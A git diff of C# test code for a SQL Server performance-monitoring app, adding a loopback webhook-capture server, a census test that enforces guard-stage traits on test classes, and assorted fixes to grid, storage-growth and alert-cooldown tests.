+    /// <summary>A loopback endpoint that answers every POST 200 and keeps the last request's head.</summary>
+    private sealed class Capture : IDisposable
+    {
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly CancellationTokenSource _stop = new();
+        private readonly Task _accepting;
+        private int _requests;
+        private volatile string _lastHead = "";
+
+        private readonly string? _redirectTo;
+
+        public Capture(string? redirectTo = null)
+        {
+            _redirectTo = redirectTo;
+            _listener.Start();
+            Url = $"http://127.0.0.1:{((IPEndPoint)_listener.LocalEndpoint).Port}";
+            _accepting = Task.Run(AcceptLoopAsync);
+        }
+
+        public string Url { get; }
+
+        public int Requests => Volatile.Read(ref _requests);
+
+        public string LastRequestHead => _lastHead;
+
+        private async Task AcceptLoopAsync()
+        {
+            try
+            {
+                while (!_stop.IsCancellationRequested)
+                {
+                    using var client = await _listener.AcceptTcpClientAsync(_stop.Token);
+                    using var stream = client.GetStream();
+                    var head = await ReadRequestAsync(stream, _stop.Token);
+                    _lastHead = head;
+                    Interlocked.Increment(ref _requests);
+
+                    var response = Encoding.ASCII.GetBytes(_redirectTo is null
+                        ? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
+                        : $"HTTP/1.1 302 Found\r\nLocation: {_redirectTo}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
+                    await stream.WriteAsync(response, _stop.Token);
+                    await stream.FlushAsync(_stop.Token);
+                }
+            }
+            catch (OperationCanceledException) { /* Dispose */ }
+            catch (SocketException) { /* listener stopped */ }
+            catch (ObjectDisposedException) { /* listener stopped */ }
+        }
+
+        private static async Task<string> ReadRequestAsync(NetworkStream stream, CancellationToken token)
+        {
+            var received = new List<byte>();
+            var buffer = new byte[16 * 1024];
+            var bodyStart = -1;
+            var contentLength = 0;
+            var head = "";
+
+            while (true)
+            {
+                if (bodyStart < 0)
+                {
+                    var end = IndexOfHeaderEnd(received);
+                    if (end >= 0)
+                    {
+                        bodyStart = end + 4;
+                        head = Encoding.ASCII.GetString(received.ToArray(), 0, end);
+                        foreach (var line in head.Split("\r\n", StringSplitOptions.RemoveEmptyEntries))
+                        {
+                            if (line.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase) &&
+                                int.TryParse(line.AsSpan("Content-Length:".Length).Trim(), out var length))
+                            {
+                                contentLength = length;
+                            }
+                        }
+                    }
+                }
+
+                if (bodyStart >= 0 && received.Count - bodyStart >= contentLength)
+                {
+                    return head;
+                }
+
+                var read = await stream.ReadAsync(buffer, token);
+                if (read == 0)
+                {
+                    return head;
+                }
+
+                received.AddRange(new ArraySegment<byte>(buffer, 0, read));
+            }
+        }
+
+        private static int IndexOfHeaderEnd(List<byte> bytes)
+        {
+            for (var i = 0; i + 3 < bytes.Count; i++)
+            {
+                if (bytes[i] == (byte)'\r' && bytes[i + 1] == (byte)'\n' &&
+                    bytes[i + 2] == (byte)'\r' && bytes[i + 3] == (byte)'\n')
+                {
+                    return i;
+                }
+            }
+
+            return -1;
+        }
+
+        public void Dispose()
+        {
+            _stop.Cancel();
+            _listener.Stop();
+            try
+            {
+                _accepting.Wait(TimeSpan.FromSeconds(5));
+            }
+            catch (AggregateException) { /* the cancellation above */ }
+
+            _stop.Dispose();
+        }
+    }
+}
diff --git a/Lite.Tests/GenericWebhookTests.cs b/Lite.Tests/GenericWebhookTests.cs
index 42d58ab766..12b916a107 100644
--- a/Lite.Tests/GenericWebhookTests.cs
+++ b/Lite.Tests/GenericWebhookTests.cs
@@ -17,6 +17,7 @@ namespace PerformanceMonitorLite.Tests;
 /// body template cannot be broken out of by alert data, and that a malformed config degrades to a clear
 /// error instead of an exception in the alert loop.
 /// </summary>
+[Trait("Reads", "Darling")]
 public class GenericWebhookTests
 {
     private static readonly AlertBranding Branding = new("Performance Monitor Lite", null);
diff --git a/Lite.Tests/GridPayloadColumnOrderPinTests.cs b/Lite.Tests/GridPayloadColumnOrderPinTests.cs
index f8a298644a..5200f04d2f 100644
--- a/Lite.Tests/GridPayloadColumnOrderPinTests.cs
+++ b/Lite.Tests/GridPayloadColumnOrderPinTests.cs
@@ -39,6 +39,7 @@ namespace Lite.Tests;
 /// like the other parity pins. Headers are read verbatim, so a header carrying an XML entity would have to
 /// be written into the table in its raw <c>&amp;#x0394;</c> form; no pinned header has one today.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class GridPayloadColumnOrderPinTests
 {
     /// <summary>A grid whose payload columns are pinned: where the anchor sits, and what must follow it.</summary>
diff --git a/Lite.Tests/GridTimeColumnSortMemberTests.cs b/Lite.Tests/GridTimeColumnSortMemberTests.cs
index f532948640..383311d7c3 100644
--- a/Lite.Tests/GridTimeColumnSortMemberTests.cs
+++ b/Lite.Tests/GridTimeColumnSortMemberTests.cs
@@ -78,6 +78,17 @@ public void Dispose()
         { "Controls/ServerTab.xaml", "BlockedProcessReportGrid", "EventTimeLocal", Name(typeof(BlockedProcessReportRow)), "EventTime" },
         { "Controls/ServerTab.xaml", "DeadlockGrid", "DeadlockTimeLocal", Name(typeof(DeadlockProcessDetail)), "DeadlockTime" },
         { "Controls/ServerTab.xaml", "AutomaticTuningGrid", "CollectionTimeLocal", Name(typeof(AutomaticTuningRow)), "CollectionTime" },
+        /* #4966: the Collected column of every grid that draws the newest snapshot: the snapshot's collection (or capture) time, sorted by the stored instant. */
+        { "Controls/ServerTab.xaml", "CpuSchedulerGrid", "CollectionTimeLocal", Name(typeof(CpuSchedulerGridRow)), "CollectionTime" },
+        { "Controls/ServerTab.xaml", "LatchStatsGrid", "CollectionTimeLocal", Name(typeof(LatchStatsSnapshotRow)), "CollectionTime" },
+        { "Controls/ServerTab.xaml", "SpinlockStatsGrid", "CollectionTimeLocal", Name(typeof(SpinlockStatsSnapshotRow)), "CollectionTime" },
+        { "Controls/ServerTab.xaml", "ServerConfigGrid", "CaptureTimeLocal", Name(typeof(ServerConfigRow)), "CaptureTime" },
+        { "Controls/ServerTab.xaml", "DatabaseConfigGrid", "CaptureTimeLocal", Name(typeof(DatabaseConfigRow)), "CaptureTime" },
+        { "Controls/ServerTab.xaml", "DatabaseScopedConfigGrid", "CaptureTimeLocal", Name(typeof(DatabaseScopedConfigRow)), "CaptureTime" },
+        { "Controls/ServerTab.xaml", "QueryStoreHealthGrid", "CaptureTimeLocal", Name(typeof(QueryStoreHealthRow)), "CaptureTime" },
+        { "Controls/ServerTab.xaml", "TraceFlagsGrid", "CaptureTimeLocal", Name(typeof(TraceFlagRow)), "CaptureTime" },
+        { "Controls/ServerTab.xaml", "RunningJobsGrid", "CollectionTimeLocal", Name(typeof(RunningJobRow)), "CollectionTime" },
+        { "Controls/FinOpsTab.xaml", "ObjectIndexDetailGrid", "CollectionTimeLocal", Name(typeof(IndexUsageRow)), "CollectionTime" },
         { "Controls/ServerTab.xaml", "SchedulerIssuesGrid", "EventTimeLocal", Name(typeof(SchedulerIssueRow)), "EventTime" },
         { "Controls/ServerTab.xaml", "SevereErrorsGrid", "EventTimeLocal", Name(typeof(SevereErrorRow)), "EventTime" },
         { "Controls/ServerTab.xaml", "MemoryConditionsGrid", "EventTimeLocal", Name(typeof(MemoryConditionsRow)), "EventTime" },
@@ -308,6 +319,7 @@ public void TheScan_ReadsEveryPinnedColumnAsATime()
         { ("Windows/WaitDrillDownWindow.xaml", "ResultsDataGrid", "ElapsedTimeFormatted"), "a duration (how long the request has run), not a time" },
         { ("Controls/ServerTab.xaml", "BlockedProcessReportGrid", "WaitTimeFormatted"), "a wait duration in ms, not a time; it sorts by WaitTimeMs" },
         { ("Controls/ServerTab.xaml", "DeadlockGrid", "WaitTimeFormatted"), "a wait duration in ms, not a time; it sorts by WaitTime" },
+        { ("Windows/CollectorScheduleEditorWindow.xaml", "ScheduleGrid", "RunAt"), "a 24-hour HH:MM time of day (#4938), not an instant: it is zero-padded, so its text order is its time-of-day order, and it has no date to sort by" },
     };
 
     private const string HowToFix =
diff --git a/Lite.Tests/GuardStageCensusTests.cs b/Lite.Tests/GuardStageCensusTests.cs
new file mode 100644
index 0000000000..3233b6b803
--- /dev/null
+++ b/Lite.Tests/GuardStageCensusTests.cs
@@ -0,0 +1,315 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using Darling.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Every Lite.Tests class that is a guard carries <c>[Trait("Stage", "Guard")]</c>, or is on the exemption
+/// list below with a reason (#5459).
+///
+/// <para><b>Why the trait exists.</b> build.yml's <c>guard-tests</c> job is the first thing a pull request runs.
+/// It runs only the tagged classes, in both test suites, so a source pin, a census or a hygiene scan fails in
+/// about ten minutes and every shard is skipped, instead of the failure arriving after the whole run. An untagged
+/// guard class loses that fast failure and nothing else (the shards still run it), which nobody would notice, so
+/// the requirement is derived from the source and this class fails and names the class.</para>
+///
+/// <para><b>The rules.</b> R1: a class whose name ends in Hygiene, Census, Convention, Adoption, Ratchet, Guard,
+/// SourcePin, Pin(s), Drift or Inventory plus <c>Tests</c> carries the trait or is exempt. R2: a class that
+/// enumerates the repo root recursively carries it or is exempt. R3: no tagged class is in the
+/// <c>live-postgres</c> collection, reads a <c>DARLING_TEST_</c> variable, or refers to a helper that does,
+/// because the guard job has no PostgreSQL and every tagged class runs there. The exemption list is the one place
+/// a class that is guard-style and cannot be tagged is named; its size is pinned and may only shrink.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class GuardStageCensusTests
+{
+    /// <summary>The classes that are guard-style and stay untagged, each with the reason. Empty today; it only shrinks, and TheExemptionList_StaysEmpty pins that.</summary>
+    private static readonly Dictionary<string, string> s_exempt = new(StringComparer.Ordinal)
+    {
+    };
+
+    /// <summary>Anti-vacuity: the suite tags well over this many classes, so a scan that stopped seeing them fails.</summary>
+    private const int TaggedFloor = 30;
+
+    [Fact]
+    public void TheDetector_SeesTheTraitTheCollectionAndARepoRootWalk()
+    {
+        const string text = "namespace Lite.Tests;\n\n"
+          + "[Trait(\"Stage\", \"Guard\")]\npublic sealed class AdoptionTests\n{\n    [Fact]\n    public void A() { }\n}\n\n"
+          + "[Collection(\"live-postgres\")]\npublic sealed class LiveThingTests\n{\n    [Fact]\n    public void B() { }\n}\n\n"
+          + "public sealed class WholeTreeScanTests\n{\n    [Fact]\n    public void C()\n    {\n"
+          + "        var root = RepoRoot();\n"
+          + "        var all = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories);\n    }\n}\n";
+
+        var rows = GuardStageScanner.ScanText(text).ToDictionary(r => r.Name);
+
+        Assert.True(rows["AdoptionTests"].Tagged);
+        Assert.False(rows["AdoptionTests"].LiveCollection);
+        Assert.True(rows["LiveThingTests"].LiveCollection);
+        Assert.False(rows["LiveThingTests"].Tagged);
+        Assert.True(rows["WholeTreeScanTests"].EnumeratesRepoRoot);
+        Assert.False(rows["WholeTreeScanTests"].Tagged);
+    }
+
+    [Fact]
+    public void TheDetector_IgnoresANarrowerEnumerationAndProse()
+    {
+        Assert.True(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var f = Directory.GetFiles(ParitySource.RepoRoot(), \"*.csproj\", SearchOption.AllDirectories);"));
+        Assert.True(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "string root = RepoRootOrFail();\nvar o = new EnumerationOptions { RecurseSubdirectories = true };\n"
+          + "var f = Directory.EnumerateFiles(root, \"*.props\", o);"));
+
+        Assert.False(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(Path.Combine(root, \"Lite\"), \"*.cs\", SearchOption.AllDirectories);"));
+        Assert.False(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.TopDirectoryOnly);"));
+        Assert.False(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var root = RepoRoot();\n// Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories)\nvar a = 1;"));
+    }
+
+    [Fact]
+    public void TheCensus_FlagsAnUntaggedCandidateATaggedStoreClassAndAStaleExemption()
+    {
+        var rows = new List<GuardStageScanner.Row>
+        {
+            new("SomeCensusTests", "a.cs", true, false, false, false, false, false),
+            new("LiveDriftTests", "b.cs", true, true, true, false, false, false),
+            new("PlainTests", "c.cs", true, false, false, false, false, false),
+            new("GoneInventoryTests", "d.cs", true, true, false, false, false, false),
+        };
+
+        var problems = GuardStageScanner.Problems(
+            rows,
+            new Dictionary<string, string>
+            {
+                ["GoneInventoryTests"] = "now tagged",
+                ["NoSuchPinTests"] = "deleted",
+                ["PlainTests"] = "",
+            });
+
+        Assert.Contains(problems, p => p.StartsWith("MISSING", StringComparison.Ordinal) && p.Contains("SomeCensusTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STORE", StringComparison.Ordinal) && p.Contains("LiveDriftTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STALE", StringComparison.Ordinal) && p.Contains("GoneInventoryTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STALE", StringComparison.Ordinal) && p.Contains("NoSuchPinTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("REASON", StringComparison.Ordinal) && p.Contains("PlainTests", StringComparison.Ordinal));
+        Assert.Equal(5, problems.Count);
+    }
+
+    [Fact]
+    public void EveryGuardClass_CarriesTheStageGuardTrait_OrIsExempt_AndNoTaggedClassNeedsAStore()
+    {
+        var rows = GuardStageScanner.Scan(TestsRoot(), ProjectFile());
+
+        var problems = GuardStageScanner.Problems(rows, s_exempt);
+
+        Assert.True(
+            problems.Count == 0,
+            $"The Lite.Tests guard-stage tagging is wrong. Add {GuardStageScanner.GuardTraitText} directly above each "
+          + "MISSING class (build.yml's guard-tests job then runs it first), or, when the class needs a store, list it in "
+          + "GuardStageCensusTests.s_exempt with the reason:\n  " + string.Join("\n  ", problems));
+
+        var tagged = rows.Count(r => r.Tagged);
+        Assert.True(
+            tagged >= TaggedFloor,
+            $"only {tagged} Lite.Tests classes carry {GuardStageScanner.GuardTraitText}; the scan has stopped seeing them");
+        Assert.True(
+            rows.Count(r => r.EnumeratesRepoRoot) >= 3,
+            "fewer than 3 Lite.Tests classes were found enumerating the repo root; the scan has stopped seeing them");
+    }
+
+    [Fact]
+    public void TheTaggedSet_IsTheSetXunitSelects_AndRuleR3HoldsOverIt()
+    {
+        var rows = GuardStageScanner.Scan(TestsRoot(), ProjectFile());
+        var reflected = GuardStageScanner.ReflectGuardClasses(typeof(GuardStageCensusTests).Assembly);
+
+        var problems = GuardStageScanner.ReflectionProblems(rows, reflected);
+
+        Assert.True(
+            problems.Count == 0,
+            "The source scan and xunit disagree about which Lite.Tests classes carry Stage=Guard, or a class xunit selects "
+          + "needs a store (the guard job has no PostgreSQL). Write the trait as the one attribute line above the class, or "
+          + "list the project's link in the csproj so the scan reads it:\n  " + string.Join("\n  ", problems));
+
+        Assert.True(
+            reflected.Count >= TaggedFloor,
+            $"xunit selects only {reflected.Count} Lite.Tests classes for Stage=Guard; the reflection has stopped seeing them");
+    }
+
+    [Fact]
+    public void TheReflectionCheck_FlagsADisagreementAPhantomAndAStoreClass()
+    {
+        var rows = new List<GuardStageScanner.Row>
+        {
+            new("SeenTests", "a.cs", true, true, false, false, false, false),
+            new("MethodTaggedTests", "b.cs", true, false, false, false, false, false),
+            new("MethodTaggedLiveTests", "c.cs", true, false, false, false, true, false),
+            new("PhantomTests", "d.cs", true, true, false, false, false, false),
+        };
+        var reflected = new List<GuardStageScanner.ReflectedClass>
+        {
+            new("SeenTests", false),
+            new("MethodTaggedTests", false),
+            new("MethodTaggedLiveTests", false),
+            new("LinkedTests", false),
+            new("CollectionTests", true),
+        };
+
+        var problems = GuardStageScanner.ReflectionProblems(rows, reflected);
+
+        Assert.Contains(problems, p => p.StartsWith("UNTAGGED", StringComparison.Ordinal) && p.Contains("MethodTaggedTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("UNTAGGED", StringComparison.Ordinal) && p.Contains("MethodTaggedLiveTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("UNSCANNED", StringComparison.Ordinal) && p.Contains("LinkedTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("UNSCANNED", StringComparison.Ordinal) && p.Contains("CollectionTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("PHANTOM", StringComparison.Ordinal) && p.Contains("PhantomTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STORE", StringComparison.Ordinal) && p.Contains("MethodTaggedLiveTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STORE", StringComparison.Ordinal) && p.Contains("CollectionTests", StringComparison.Ordinal));
+        Assert.DoesNotContain(problems, p => p.Contains("SeenTests", StringComparison.Ordinal) && !p.Contains("MethodTagged", StringComparison.Ordinal));
+        Assert.Equal(7, problems.Count);
+    }
+
+    /* The probes below are private nested classes, which xunit does not run and the assembly-wide reflection skips.
+       Their traits are spelled with constants so the source scan does not read them as tagged (it would otherwise
+       report them as phantoms): the very spelling the reflection exists to see. */
+    private const string ProbeStage = "Stage";
+    private const string ProbeGuard = "Guard";
+    private const string ProbeLive = "live-postgres";
+
+    private sealed class ProbeTestAttribute : Attribute
+    {
+    }
+
+    [Trait(ProbeStage, ProbeGuard)]
+    private sealed class ProbeClassTagged
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbeMethodTagged
+    {
+        [ProbeTest, Trait(ProbeStage, ProbeGuard)]
+        public void Probe()
+        {
+        }
+    }
+
+    [Collection(ProbeLive), Trait(ProbeStage, ProbeGuard)]
+    private sealed class ProbeLiveTagged
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbeUntagged
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    [Trait(ProbeStage, ProbeGuard)]
+    private abstract class ProbeTaggedBase
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbeInheritsTag : ProbeTaggedBase
+    {
+    }
+
+    /* xunit v3 runs static and non-public test methods and static classes (L1 of #5471's second review), so the
+       reflection has to see a trait on each of them as well. */
+    private sealed class ProbeStaticMethodTagged
+    {
+        [ProbeTest, Trait(ProbeStage, ProbeGuard)]
+        public static void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbePrivateMethodTagged
+    {
+        [ProbeTest, Trait(ProbeStage, ProbeGuard)]
+#pragma warning disable IDE0051, CA1822
+        private void Probe()
+#pragma warning restore IDE0051, CA1822
+        {
+        }
+    }
+
+    [Trait(ProbeStage, ProbeGuard)]
+    private static class ProbeStaticClassTagged
+    {
+        [ProbeTest]
+        public static void Probe()
+        {
+        }
+    }
+
+    private static bool IsProbeTest(System.Reflection.MethodInfo m) => m.IsDefined(typeof(ProbeTestAttribute), inherit: true);
+
+    [Fact]
+    public void TheReflection_SeesAClassTraitAMethodTraitAConstantAnInheritedTraitAndALiveCollection()
+    {
+        var probes = typeof(GuardStageCensusTests).GetNestedTypes(System.Reflection.BindingFlags.NonPublic)
+            .Where(t => t.Name.StartsWith("Probe", StringComparison.Ordinal) && t.Name != nameof(ProbeTestAttribute));
+
+        var reflected = GuardStageScanner.ReflectGuardClasses(probes, assemblyTagged: false, isTest: IsProbeTest).ToDictionary(r => r.Name);
+
+        Assert.True(reflected.ContainsKey(nameof(ProbeClassTagged)), "a class-level trait spelled with constants is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeMethodTagged)), "a method-level trait is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeInheritsTag)), "a trait inherited from a base class is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeLiveTagged)) && reflected[nameof(ProbeLiveTagged)].LiveCollection, "a live-postgres collection is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeStaticMethodTagged)), "a static test method with a method-level trait is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbePrivateMethodTagged)), "a non-public test method with a method-level trait is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeStaticClassTagged)), "a static class is not seen");
+        Assert.False(reflected.ContainsKey(nameof(ProbeUntagged)), "an untagged class was selected");
+        Assert.False(reflected.ContainsKey(nameof(ProbeTaggedBase)), "an abstract class was selected");
+        Assert.False(reflected[nameof(ProbeClassTagged)].LiveCollection);
+
+        Assert.Contains(
+            GuardStageScanner.ReflectGuardClasses(probes.Where(t => t.Name == nameof(ProbeUntagged)), assemblyTagged: true, isTest: IsProbeTest),
+            r => r.Name == nameof(ProbeUntagged));
+    }
+
+    [Fact]
+    public void TheLinkedFiles_AreReadFromTheCsprojItems()
+    {
+        var links = GuardStageScanner.LinkedCompileFiles(ProjectFile());
+
+        Assert.NotEmpty(links);
+        Assert.All(links, l => Assert.True(File.Exists(l.Path), $"the linked file {l.Link} does not exist at {l.Path}"));
+    }
+
+    [Fact]
+    public void TheExemptionList_StaysEmpty()
+    {
+        Assert.Empty(s_exempt);
+    }
+
+    private static string TestsRoot() => Path.Combine(ParitySource.RepoRoot(), "Lite.Tests");
+
+    private static string ProjectFile() => Path.Combine(TestsRoot(), "Lite.Tests.csproj");
+}
diff --git a/Lite.Tests/Helpers/CollectorDefinitionTestFakes.cs b/Lite.Tests/Helpers/CollectorDefinitionTestFakes.cs
index bdc0c7c40a..161311a2b3 100644
--- a/Lite.Tests/Helpers/CollectorDefinitionTestFakes.cs
+++ b/Lite.Tests/Helpers/CollectorDefinitionTestFakes.cs
@@ -49,7 +49,14 @@ public override bool NextResult()
         return true;
     }
 
-    public override string GetString(int ordinal) => (string)CurrentSet[_rowIndex][ordinal];
+    /// <summary>When set, the managed thread id of every <c>GetString</c> call lands here (a test of where a row is read).</summary>
+    public System.Collections.Concurrent.ConcurrentBag<int>? GetStringThreads { get; set; }
+
+    public override string GetString(int ordinal)
+    {
+        GetStringThreads?.Add(Environment.CurrentManagedThreadId);
+        return (string)CurrentSet[_rowIndex][ordinal];
+    }
 
     public override long GetInt64(int ordinal) => (long)CurrentSet[_rowIndex][ordinal];
 
diff --git a/Lite.Tests/Helpers/TestAlertDataHelper.cs b/Lite.Tests/Helpers/TestAlertDataHelper.cs
index 159a464537..a353b707b3 100644
--- a/Lite.Tests/Helpers/TestAlertDataHelper.cs
+++ b/Lite.Tests/Helpers/TestAlertDataHelper.cs
@@ -133,7 +133,7 @@ INSERT INTO _staging_alerts
     /// </summary>
     public async Task RefreshArchiveViewsAsync()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.CreateArchiveViewsAsync();
     }
 
diff --git a/Lite.Tests/HostHeaderGuardTests.cs b/Lite.Tests/HostHeaderGuardTests.cs
index ea16bd4903..5ba4749c6d 100644
--- a/Lite.Tests/HostHeaderGuardTests.cs
+++ b/Lite.Tests/HostHeaderGuardTests.cs
@@ -27,6 +27,7 @@ namespace PerformanceMonitorLite.Tests;
 /// source pinning that the middleware is actually installed first — the defect was a wiring omission, so the
 /// decision test alone would have passed on the vulnerable build.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class HostHeaderGuardTests
 {
     /* ---------------- the pure decision (Lite is always loopback-only: no listen IP) ---------------- */
diff --git a/Lite.Tests/HyperscaleLogSizeTests.cs b/Lite.Tests/HyperscaleLogSizeTests.cs
index 32706a4876..278b622501 100644
--- a/Lite.Tests/HyperscaleLogSizeTests.cs
+++ b/Lite.Tests/HyperscaleLogSizeTests.cs
@@ -141,7 +141,7 @@ public HyperscaleLogSizeReadTests(SharedDuckDbFixture fixture)
     public void Dispose() => _seedConn?.Dispose();
 
     private static readonly DateTime Collected = DateTime.SpecifyKind(
-        new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerMinute)), DateTimeKind.Unspecified);
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute), DateTimeKind.Unspecified);
 
     private async Task SeedAsync(string database, int fileId, string fileType, string fileName, double? total, double? used, double? autoGrowth, double? max, DateTime? at = null)
     {
@@ -239,10 +239,10 @@ public async Task UtilizationChart_HyperscaleDatabase_AllocatesTheDataFileOnly_A
     /// </summary>
     private async Task SeedGrowthHistoryAsync()
     {
-        foreach (var daysAgo in new[] { 31, 8 })
+        foreach (var daysAgo in new[] { 30.5, 7.5 })
         {
             var at = Collected.AddDays(-daysAgo);
-            await SeedAsync("hsdb", 1, "ROWS", "hsdb_data", daysAgo == 31 ? 10_000 : 10_100, 300, 1_024, -1, at);
+            await SeedAsync("hsdb", 1, "ROWS", "hsdb_data", daysAgo > 30 ? 10_000 : 10_100, 300, 1_024, -1, at);
             await SeedAsync("hsdb", 2, "LOG", "hsdb_log", LogServiceMb, 40, 1_024, 1_048_576, at);
 
             await SeedAsync("plain", 1, "ROWS", "plain_data", 1_000, 10, 64, -1, at);
@@ -269,7 +269,7 @@ public async Task StorageGrowth_HyperscaleHistoryHoldsTheOneTerabyteLogRow_Shows
         Assert.Equal(140m, hs.Growth7dMb);
         Assert.Equal(2.4m, Math.Round(hs.GrowthPct30d!.Value, 4));
         Assert.Equal(240m, hs.Growth30dMb);
-        Assert.Equal(Math.Round(240m / 31m, 4), Math.Round(hs.DailyGrowthRateMb!.Value, 4)); // 31 real days, not a fixed 30
+        Assert.Equal(Math.Round(240m / 30.5m, 4), Math.Round(hs.DailyGrowthRateMb!.Value, 4)); // 30.5 real days between the two snapshots
         Assert.Equal(10_240m, hs.CurrentSizeMb);
         Assert.Equal(10_100m, hs.Size7dAgoMb);
         Assert.Equal(10_000m, hs.Size30dAgoMb);
@@ -298,8 +298,8 @@ public async Task StorageGrowth_LatestSnapshotStillFromBeforeTheChange_CountsThe
         /* Until the first hourly collection after the upgrade, the latest snapshot still holds the ~1 TB log row. The
            Database Sizes grid shows that stored figure, and Storage Growth counts it on both sides: growth is still
            the data file's own. */
-        await SeedAsync("hsdb", 1, "ROWS", "hsdb_data", 10_000, 300, 1_024, -1, Collected.AddDays(-31));
-        await SeedAsync("hsdb", 2, "LOG", "hsdb_log", LogServiceMb, 40, 1_024, 1_048_576, Collected.AddDays(-31));
+        await SeedAsync("hsdb", 1, "ROWS", "hsdb_data", 10_000, 300, 1_024, -1, Collected.AddDays(-30));
+        await SeedAsync("hsdb", 2, "LOG", "hsdb_log", LogServiceMb, 40, 1_024, 1_048_576, Collected.AddDays(-30));
         await SeedAsync("hsdb", 1, "ROWS", "hsdb_data", 10_240, 315, 1_024, -1);
         await SeedAsync("hsdb", 2, "LOG", "hsdb_log", LogServiceMb, 40, 1_024, 1_048_576);
 
@@ -307,7 +307,7 @@ the data file's own. */
         var hs = Assert.Single(await service.GetStorageGrowthAsync(ServerId), r => r.DatabaseName == "hsdb");
 
         Assert.Equal(10_240m + (decimal)LogServiceMb, hs.CurrentSizeMb);
-        Assert.Equal(240m, hs.Growth7dMb);
+        Assert.Null(hs.Growth7dMb);   // the only older snapshot is 30 days old: not a 7-day baseline
         Assert.Equal(240m, hs.Growth30dMb);
 
         var grid = await service.GetDatabaseSizeLatestAsync(ServerId);
@@ -467,7 +467,8 @@ public void GetDatabaseSizesPayload_NoLogServiceFile_HasNoNote_AndTheSameShapeAs
         var root = doc.RootElement;
 
         Assert.False(root.TryGetProperty("note", out _));
-        Assert.Equal(new[] { "server", "captured_at", "file_count", "databases" }, root.EnumerateObject().Select(p => p.Name).ToArray());
+        /* #5244: database_name (null for every database) is always written, right after server, in both apps. */
+        Assert.Equal(new[] { "server", "database_name", "captured_at", "file_count", "databases" }, root.EnumerateObject().Select(p => p.Name).ToArray());
         Assert.Equal(150d, root.GetProperty("databases")[0].GetProperty("total_size_mb").GetDouble());
     }
 
diff --git a/Lite.Tests/IncidentCooldownTests.cs b/Lite.Tests/IncidentCooldownTests.cs
index bb9af2101d..2929b87d40 100644
--- a/Lite.Tests/IncidentCooldownTests.cs
+++ b/Lite.Tests/IncidentCooldownTests.cs
@@ -151,6 +151,101 @@ public async Task FailedSend_NotStamped_DoesNotStartCooldown()
         Assert.True((await cd.EvaluateAsync("1", "Deadlocks Detected", Incidents("A"), Window)).ShouldSend);
     }
 
+    /// <summary>
+    /// The auto-resolve paired lifecycle, at the cooldown seam: a recovery the webhook actually DELIVERED
+    /// clears the metric-level entry its firing left behind, so a down-back-down soberly re-arms. Without
+    /// the clear the second "Server Unreachable" meets the first incident's window and never posts — the
+    /// exact outage the resolve was meant to close ends up silenced.
+    /// </summary>
+    [Fact]
+    public async Task ClearMetric_ForgetsTheFiringEntry_LeavingSiblingsAlone()
+    {
+        var cd = NoSeed();
+
+        var down = await cd.EvaluateAsync("1", "Server Unreachable", null, Window);
+        Assert.True(down.ShouldSend);
+        cd.Stamp(down);
+        Assert.False((await cd.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+
+        // A delivered close clears the pair's FIRING — the metric under which the outage posted — and the
+        // next outage of the same pair on the same server posts again:
+        cd.ClearMetric("1", "Server Unreachable");
+        Assert.True((await cd.EvaluateAsync("1", "Server Unreachable", null, Window)).ShouldSend);
+
+        // ...while a different metric and a different server keep their own entries.
+        var cpu = await cd.EvaluateAsync("1", "High CPU", null, Window);
+        cd.Stamp(cpu);
+        Assert.False((await cd.EvaluateAsync("1", "High CPU", null, Window)).ShouldSend);
+
